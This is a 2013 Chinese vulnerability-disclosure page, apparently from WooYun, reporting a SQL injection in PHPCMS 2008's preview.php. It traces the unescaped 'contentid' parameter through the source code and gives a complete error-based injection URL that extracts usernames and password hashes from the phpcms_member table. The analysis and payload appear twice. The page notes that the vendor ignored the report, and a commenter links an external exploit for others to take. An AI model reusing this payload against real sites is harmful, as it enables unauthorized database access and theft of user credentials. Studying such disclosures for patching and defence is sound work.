漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:PHPCMS 2008 最新漏洞(第二季)
漏洞作者: 西毒
提交时间:2013-04-18 22:40
修复时间:2013-04-23 22:40
公开时间:2013-04-23 22:40
漏洞类型:SQL注射漏洞
危害等级:低
自评Rank:1
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情 披露状态:
2013-04-18: 细节已通知厂商并且等待厂商处理中 2013-04-23: 厂商已经主动忽略漏洞,细节向公众公开
简要描述: 第二季来了哈...亲
详细说明: 在preview.php 中第7行 $r = new_stripslashes($info); 我们跟踪new_stripslashes这个函数 在global.func.php中可以找到
function new_stripslashes($string) { if(!is_array($string)) return stripslashes($string); foreach($string as $key => $val) $string[$key] = new_stripslashes($val); return $string; }
这个函数的功能不用解释了吧 所以我们看具体应用点再哪?
require dirname(__FILE__).'/include/common.inc.php'; if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了. require_once CACHE_MODEL_PATH.'content_output.class.php'; require_once 'output.class.php'; if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了 $r = new_stripslashes($info); //反转义了.....关键 $C = cache_read('category_'.$r['catid'].'.php'); $out = new content_output(); $r['userid'] = $_userid; $r['inputtime'] = TIME; $data = $out->get($r); extract($data); $userid = $_username; for($i=1;$i<10;$i++) { $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif"); } $array_images = $str_attachmentArray; $images_number = 10; $allow_priv = $allow_readpoint = 1; $updatetime = date('Y-m-d H:i:s',TIME); $page = max(intval($page), 1); $pages = $titles = ''; if(strpos($content, '[page]') !== false) //这里必须还有这个[page]这个字符.....才能操作哈 { require_once 'url.class.php'; $curl = new url(); $contents = array_filter(explode('[page]', $content)); $pagenumber = count($contents); for($i=1; $i<=$pagenumber; $i++) { $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中 }
其中细节我就不说了... 我们看看这个$curl资源句柄中的show方法
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '') { global $PHPCMS; if($catid == 0 || $time == 0 || $prefix == '') { $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'"); if($r['isupgrade'] && !empty($r['url'])) {
所以结合前面的......我们x站了吧 www.xxxxx.com/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
最后想说一句 360漏洞收购计划价格真心低...... 通杀版的getshell 才1500... 这么低的价格....我觉得宁愿拒绝好了..
漏洞证明: 在preview.php 中第7行 $r = new_stripslashes($info); 我们跟踪new_stripslashes这个函数 在global.func.php中可以找到
function new_stripslashes($string) { if(!is_array($string)) return stripslashes($string); foreach($string as $key => $val) $string[$key] = new_stripslashes($val); return $string; }
这个函数的功能不用解释了吧 所以我们看具体应用点再哪?
require dirname(__FILE__).'/include/common.inc.php'; if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了. require_once CACHE_MODEL_PATH.'content_output.class.php'; require_once 'output.class.php'; if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了 $r = new_stripslashes($info); //反转义了.....关键 $C = cache_read('category_'.$r['catid'].'.php'); $out = new content_output(); $r['userid'] = $_userid; $r['inputtime'] = TIME; $data = $out->get($r); extract($data); $userid = $_username; for($i=1;$i<10;$i++) { $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif"); } $array_images = $str_attachmentArray; $images_number = 10; $allow_priv = $allow_readpoint = 1; $updatetime = date('Y-m-d H:i:s',TIME); $page = max(intval($page), 1); $pages = $titles = ''; if(strpos($content, '[page]') !== false) //这里必须还有这个[page]这个字符.....才能操作哈 { require_once 'url.class.php'; $curl = new url(); $contents = array_filter(explode('[page]', $content)); $pagenumber = count($contents); for($i=1; $i<=$pagenumber; $i++) { $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中 }
其中细节我就不说了... 我们看看这个$curl资源句柄中的show方法
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '') { global $PHPCMS; if($catid == 0 || $time == 0 || $prefix == '') { $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'"); if($r['isupgrade'] && !empty($r['url'])) {
所以结合前面的......我们x站了吧 www.xxxxx.com/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
最后想说一句 360漏洞收购计划价格真心低...... 通杀版的getshell 才1500... 这么低的价格....我觉得宁愿拒绝好了..
修复方案: 版权声明:转载请注明来源 西毒 @乌云
漏洞回应 厂商回应: 危害等级:无影响厂商忽略
忽略时间:2013-04-23 22:40
厂商回复:
最新状态: 暂无
漏洞评价:
评论
2013-04-18 22:40 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
2013-04-18 22:42 |
lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)
2013-04-18 22:49 |
s3cur1ty ( 普通白帽子 | Rank:174 漏洞数:12 | s3cur1ty is s3cur1ty!)
这个必须顶,在这里谢谢兄弟帮忙,记得有消息通知我!
2013-04-18 22:52 |
西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
2013-04-18 22:52 |
西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
2013-04-18 22:55 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
2013-04-18 22:57 |
西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
@xsser 我擦....我看他的回复我还以为他是数字公司的....
2013-04-18 23:30 |
YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)
2013-04-18 23:32 |
西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
@s3cur1ty 兄弟,终于知道你了....我还误认为是360的
2013-04-18 23:34 |
鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
2013-04-19 09:58 |
坏虾 ( 路人 | Rank:28 漏洞数:8 | From Internet,For Internet……BY:坏虾)
2013-04-19 14:11 |
Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)
2013-04-23 06:02 |
邪少 ( 实习白帽子 | Rank:58 漏洞数:7 )
2013-04-25 22:48 |
wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)
2013-04-26 01:25 |
西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
2013-11-25 16:50 |
hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)
送上exp 喜欢的拿去。http://www.waitalone.cn/phpcms2008-preview-php-injection-exp.html
2013-12-20 16:00 |
luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)